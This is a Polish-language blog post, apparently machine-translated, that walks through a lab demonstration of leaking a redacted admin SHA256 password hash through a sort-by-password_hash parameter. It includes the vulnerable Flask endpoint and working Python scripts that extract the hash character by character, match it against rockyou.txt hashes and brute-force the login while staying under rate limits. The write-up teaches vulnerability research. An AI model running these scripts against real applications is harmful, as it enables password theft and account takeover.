Sortowanie Twojej drogi do skradzionych haseł

May 09 2023
Wprowadzenie Ostatnio natrafiłem na unikalną lukę, która pozwoliła mi przeprowadzić ekstrakcję skrótu hasła, mimo że wyglądało na to, że dane były redagowane prawidłowo. Aby zademonstrować praktyczne implikacje tej luki, opracowałem skrypt, który wykorzystywał metodę porównywania znak po znaku, stopniowo budując skrót hasła administratora, sortując użytkowników i obserwując ich pozycje.
Łamanie skrótu hasła administratora SHA256

Wstęp

Niedawno natknąłem się na wyjątkową lukę, która pozwoliła mi przeprowadzić ekstrakcję skrótu hasła, mimo że wyglądało na to, że dane były redagowane poprawnie.

Aby zademonstrować praktyczne implikacje tej luki, opracowałem skrypt, który wykorzystywał metodę porównywania znak po znaku, stopniowo budując skrót hasła administratora, sortując użytkowników i obserwując ich pozycje. Takie podejście, choć czasochłonne, stanowiło wyjątkową okazję do złamania skrótów haseł SHA256 bez uciekania się do tradycyjnych technik siłowych.

Eksplorowanie aplikacji internetowej

Aby zilustrować tę lukę, stworzyłem demonstracyjną aplikację internetową, która symuluje tę lukę w zabezpieczeniach. To demo jest dokowane i można je pobrać tutaj , jeśli chcesz wypróbować je na własnym komputerze. Aplikacja internetowa wygląda następująco:

Witryna demonstracyjna

Aplikacja jest podstawowa, składa się z tabeli użytkowników z opcjami sortowania, dodawania nowego użytkownika i usuwania wszystkich użytkowników. W rzeczywistym scenariuszu ta funkcja byłaby prawdopodobnie bardziej zaawansowana i zabezpieczona za pomocą uwierzytelniania.

Znalezienie błędu

Wykonując moją standardową metodologię zabezpieczania aplikacji internetowych, zauważyłem coś interesującego, jeśli chodzi o tabelę użytkowników. Korzystając z pakietu Burp Suite, mogłem zobaczyć, że wysłano żądanie, gdy przeglądałem stronę index.html, która sortowała użytkowników w tabeli:

Nie było to coś szczególnie niezwykłego, ale po wypróbowaniu różnych sposobów sortowania kolumny odkryłem, że pozycje użytkowników zmieniały się, gdy sortowałem według hasła_hash !

To było dość dziwne, ponieważ na zrzucie ekranu powyżej wszystkie skróty są ZREDAGOWANE , więc nie powinny zmieniać pozycji podczas sortowania według tego pola?

Aby dowiedzieć się, dlaczego tak się dzieje, przeprowadziłem analizę kodu i znalazłem to:

# Getting users for the table on index.html
@app.route('/users')
def get_users():
    sort_col = request.args.get('sort_col', default='id')
    sort_order = request.args.get('sort_order', default='asc')

    sorted_users = sorted(
        users, key=lambda u: u[sort_col], reverse=(sort_order == 'dec'))

    redacted_users = []
    for user in sorted_users:
        redacted_user = user.copy()
        redacted_user['password_hash'] = 'REDACTED'
        redacted_users.append(redacted_user)

    return jsonify(redacted_users)

Teoretycznie, gdybyśmy znali lub potrafili odgadnąć mechanizm mieszania hasła (zwykle SHA256, MD5 lub bcrypt), moglibyśmy utworzyć nowego użytkownika z hasłem, o którym wiemy, jaki jest skrót, i użyć go do sortowania użytkowników w celu określenia hasło administratora.

Na powyższym diagramie hasło administratora to pączek, który ma skrót SHA256 2f63371bea3c61d9fdba4469984bd22f2cc2381d23e031634f0387bdd97bd28f .
Moim celem jest przywrócenie administratora na liście przede mną. Kiedy tak się dzieje, wiem, że mój skrót zaczyna się od wartości przed administratorami. Tak więc w powyższym przypadku mój skrót jest mniejszy niż administratorów, więc zwraca [ja, admin].

Na tym diagramie zaktualizowałem moje hasło do 72yY2GEp41, co spowodowało, że skrót SHA256 wynosi 240ba23967c8a19f98e7315b1198b1aebd203836435c5f0d03dbfd84d11853db . Podczas uruchamiania funkcji check() nadal jestem pierwszy na liście. Jednak funkcja sprawdza, czy pierwsze znaki są takie same „2” == „2”, a następnie sprawdza następny znak „f” > „4”, który najpierw zwróciłby mój skrót.

Wreszcie, kiedy mój skrót hasła zaczyna się od znaku „3”, to jest większy niż skrót hasła administratora, który zaczyna się od „2”. W związku z tym admin powraca jako pierwszy na liście i możemy ustalić, że skrót hasła administratora ma „2” w slocie index[0] ! Całkiem fajne prawda! Teraz przekształćmy tę teorię w kod.

Przekształcenie teorii w kod

Moje podejście do tego problemu jest raczej powolne, więc jeśli znasz bardziej efektywny sposób, skomentuj i daj mi znać!

Proces, który podjąłem, aby wyodrębnić skrót hasła administratora, jest następujący:

  1. Napisz kilka funkcji do tworzenia nowego użytkownika z wybranym przeze mnie hasłem, wyczyść tabelę użytkowników i posortuj użytkowników. Kod, który stworzyłem w tym celu, jest następujący:
  2. domain = "lab.prodefense.io"
    def create_user(email='[email protected]', name='matt', password='hackyhack'):
        url = f"http://{domain}/users"
        json = {"email": email, "name": name, "password": password}
        requests.post(url, json=json)
    
    
    def clear_users():
        url = f"http://{domain}/users"
        requests.delete(url)
    
    
    def sort_users(direction='asc'):
        url = f"http://{domain}/users?sort_col=password_hash&sort_order={direction}"
        r = requests.get(url)
        return r.text
    

    Skopiuj jako python-requests rozszerzenie Burp Suite

2. Następnie stworzyłem funkcję o nazwie check() w celu sprawdzenia, czy odpowiedź json z funkcji sort_users() zwraca tabelę users z użytkownikiem admin na pierwszym miejscu na liście, czy na drugim :

def check():
    users = json.loads(sort_users())
    return users[0]['id'] == 1

3. Musiałem teraz znaleźć skrót SHA256, który zaczynał się od prefiksu, i zwrócić zarówno ciąg użyty do wygenerowania tego skrótu, jak i sam skrót.
Na przykład, jeśli wiem, że mój admin_hash to: 8c 6976e5b5410415bde908bd4dee15dfb167a9c873fc4bb8a81f6f2ab448a918

Następnie muszę utworzyć skrót, którego mogę użyć do sortowania. Więc my_hash może wyglądać tak: 87 227afead5d3d1a5b89bf07a673510114b1d98d473d43e0ff7e3b230032311e . Chodzi o to, że skoro mogę posortować bazę danych, mogę określić, czy admin_hash rośnie, czy maleje w porównaniu do my_hash. Więc 8c6976e… pojawi się najpierw przed 87227af… ponieważ 8's równe, ale „c” pojawia się przed „ 7” , jeśli moje sortowanie ma malejące wartości. Masz pomysł?

Teraz wszystko, co muszę zrobić, to iść znak po znaku, tworząc skróty z prefiksem, dopóki nie będę miał zarówno hasła administratora w postaci zwykłego tekstu, jak i ich skrótu. Aby to zrobić, mój kod wyglądał tak:

def gen_hash(prefix):
    while True:
        random_string = ''.join(random.choices(
            string.ascii_letters + string.digits, k=10))
        sha256_hash = hashlib.sha256(random_string.encode()).hexdigest()
        if sha256_hash.startswith(prefix):
            return random_string, sha256_hash

4. Kiedy już ta funkcja działała, ostatnią rzeczą, jakiej potrzebowałem, była logika fuzzowania znak po znaku, aż uzyskałem hash pasujący do administratorów! Aby to zrobić, mój kod wyglądał następująco:

if __name__ == '__main__':
    # SHA256 hashes can only have 0-9, a-f which limits our bank significantly. 
    bank = '0123456789abcdef'
    value = []
    # 64 chars is the length of a SHA256 hash
    while len(value) <= 64:
        found_match = False
        for char in bank:
            # Sends the POST request to clear all users but admin
            clear_users()
            # Ill talk about the 'ff' below :sad-doge:
            rand_string, hash = gen_hash("".join(value) + char + 'ff')
            # Creates a new user, with the random string that has our prefix
            create_user(password=rand_string)
            # Checking to see if admin comes first or second in the table
            if check():
                value.append(char)
                found_match = True
                break
            # Adds some animation because who likes boring CLIs
            print(f"[!] ADMIN HASH: {''.join(value)}{char}", end='\r')
            time.sleep(0.1)
        if not found_match:
            value.append('0' if not value else 'f')

    print("\n[!] FINAL ADMIN HASH: " + ''.join(value))

Ogólnie rzecz biorąc, jeśli złożysz cały ten kod razem, powinieneś zobaczyć coś takiego jak GIF poniżej w konsoli:

Możesz zobaczyć w GIF-ie, że dostaję tylko kilka znaków, a potem zaczyna naprawdę zwalniać. To dlatego, że dosłownie brutalnie wymuszamy hasło administratora. Jest to duże ograniczenie i prawdopodobnie wymagałoby od osoby atakującej spędzenia dużej ilości czasu na generowaniu haseł. Jedyna różnica między tym a typową brutalną siłą polega na tym, że ograniczenie wynika z mocy obliczeniowej twojego komputera. Znalezienie skrótów, które zaczynają się od ponad 5 znaków, zajmuje dużo czasu, chyba że wstępnie obliczysz skróty lub masz duży tęczowy stół do wyszukiwania. Ogólnie rzecz biorąc, uzyskanie takiej pełnej siły bruteforce prawdopodobnie zajęłoby około 500 żądań do serwera i wymagałoby wygenerowania TON ciągów znaków, aby uzyskać poprawną wartość skrótu.

Nie Twój typowy Bruteforce

Aplikacja demonstracyjna ma wbudowane ograniczenie szybkości z 200 req/h na głównych punktach końcowych i 20 req/h na punkcie końcowym logowania. Mając to na uwadze, atak bruteforce prawdopodobnie wymagałby milionów, jeśli nie miliardów żądań odgadnięcia hasła. Ale co, jeśli powiem ci, że możemy to zrobić przy mniej niż 200 żądaniach? Przyjrzyjmy się, jak by to działało.

Podobnie jak w przypadku pierwszego skryptu solve.py, w tym podejściu zakładamy, że hasło jest wybierane losowo z pliku rockyou.txt . To trochę oszustwo, ale rockyou.txt ma na liście 14 344 394 (14 milionów) haseł. Będziemy musieli „odgadnąć” hasło w żądaniu poniżej 200, aby uniknąć wykrycia i ograniczenia szybkości. Zacznijmy.

  1. Podobnie jak w pierwszym skrypcie solve.py, zamierzam użyć tych samych funkcji, które współdziałają z aplikacją internetową, ale zamierzam również utworzyć funkcję logowania:
  2. domain = "lab.prodefense.io"
    def create_user(email='[email protected]', name='matt', password='hackyhack'):
        url = f"http://{domain}/users"
        json = {"email": email, "name": name, "password": password}
        requests.post(url, json=json)
    
    
    def clear_users():
        url = f"http://{domain}/users"
        requests.delete(url)
    
    
    def sort_users(direction='asc'):
        url = f"http://{domain}/users?sort_col=password_hash&sort_order={direction}"
        r = requests.get(url)
        return r.text
    
    
    def login(username, password):
        url = f"http://{domain}/login"
        json = {"username": username, "password": password}
        r = requests.post(url, json=json)
        return r.status_code
    

import hashlib

with open('rockyou.txt', 'r', encoding='utf-8') as input_file:
    with open('combined.txt', 'w') as output_file:
        for line in input_file:
            line = line.strip()
            hashed_line = hashlib.sha256(line.encode()).hexdigest()
            output_file.write(f'{hashed_line},{line}\n')

print('Conversion completed. Check combined.txt file.')

skróty hasła rockyou.txt w formacie SHA256, hasło

2. Teraz musiałem napisać funkcję, która mogłaby działać podobnie do mojej funkcji gen_hash(prefix) , ale aby przeskanować nasz nowy plik Combined.txt, aby znaleźć skróty, które mogłyby być haszem hasła użytkownika na podstawie prefiksu . Założę się, że teraz widzisz, dokąd zmierzam z tym :)

def find_hashes(prefix):
    hashes = []
    passwords = []
    with open('combined.txt', 'r', errors='replace') as file:
        for line in file:
            line = line.strip()
            if line.startswith(prefix):
                values = line.split(',')
                if len(values) == 2:
                    sha256, password = values
                    hashes.append(sha256)
                    passwords.append(password)

    return hashes, passwords

3. Strona /login pozwala tylko na 20 żądań/godz. To powiedziawszy, musiałem uzyskać wystarczająco długą wartość prefiksu, aby móc wywołać funkcję find_hashes() i zwrócić 20 (lub mniej) haseł zaczynających się od danej wartości prefiksu.

Possible password hashes (notice they all start with the prefix):

hash_prefix: "b60d9"
     055555:b60d92f92101e5210a530631ec3ad59c32ecdc3fd3ab75ac1291cedcaf6fee77
  cordelius:b60d914e40a9572820f571d8cf38e8425742a8a1cd6c5586f35a6c7e73e39dcf
    terfase:b60d920aa0cabdbdcf7447632bcdb9456a35c4378db17137066aee36d3aeea12
     obolku:b60d9db875658b618b27f0a2d4c869628a9f937ea6c1a0172d4a6acc2f219846
escuelapan2:b60d9852d3325c01b7556719dd1e9b684017b8306fc1902eb9e6298250459735
...etc...

def bruteforce(password_list):
    for pwd in password_list:
        if login('admin', pwd) == 200:
            print(
                f"[!] ADMIN PASSWORD: {colored(pwd, 'green')}")
    sys.exit(0)

if __name__ == '__main__':
    api_call_count = 0
    prefix = ""
    bank = '0123456789abcdef'
    for i in range(10):
        found_match = False
        for char in bank:
            clear_users()
            pwd, hash_value = gen_hash(prefix+char+'f')
            create_user(password=pwd)
            api_call_count += 3
            if check():
                found_match = True
                prefix += char
                tmp_hashes, tmp_passwords = find_hashes(prefix)
                if (len(tmp_hashes) < 20):
                    print(
                        f"[!] PARTIAL ADMIN HASH: {colored(prefix, 'green')}")
                    bruteforce(tmp_passwords)
                break
            print(
                f"[!] FINDING HASH: {prefix}{colored(char, 'red')}   -   [INFO] API Calls Sent: {api_call_count}/200'", end='\r')
            time.sleep(0.2)
        if not found_match:
            hash += 'f' if hash else '0'

Złamanie losowego hasła z rockyou.txt z 87 żądaniami

Ten skrypt solve.py zajmuje 2 minuty 30 sekund i wykorzystuje 87 żądań. Skrót hasła jest całkowicie losowy na liście słów rockyou.txt , która zawiera 14 344 394 (14 milionów) haseł.

Wniosek

Chociaż moja demonstracyjna aplikacja internetowa mogła nie zdobyć żadnych nagród w kategorii „Najbezpieczniejsza aplikacja internetowa roku”, z pewnością pokazuje, jak wyjątkowe mogą być niektóre błędy i dlaczego chatGPT nie zamierza w najbliższym czasie odebrać mi pracy.

Żarty na bok, ta luka w zabezpieczeniach, która umożliwia atakującym znalezienie drogi do skradzionych haseł, rzuca światło na potencjalne zagrożenia czyhające w pozornie nieszkodliwych funkcjach. Dzięki dokładnej analizie i sprytnemu podejściu osoby atakujące mogą wyodrębnić skróty haseł z podatnej aplikacji internetowej, jeśli nie są ostrożne.

Uwaga: jeśli podoba Ci się ten wpis na blogu i chcesz spróbować stworzyć własny skrypt rozwiązania, stworzyłem kontener dokera, który losowo generuje hasło administratora, które można pobrać tutaj . Miłego hakowania!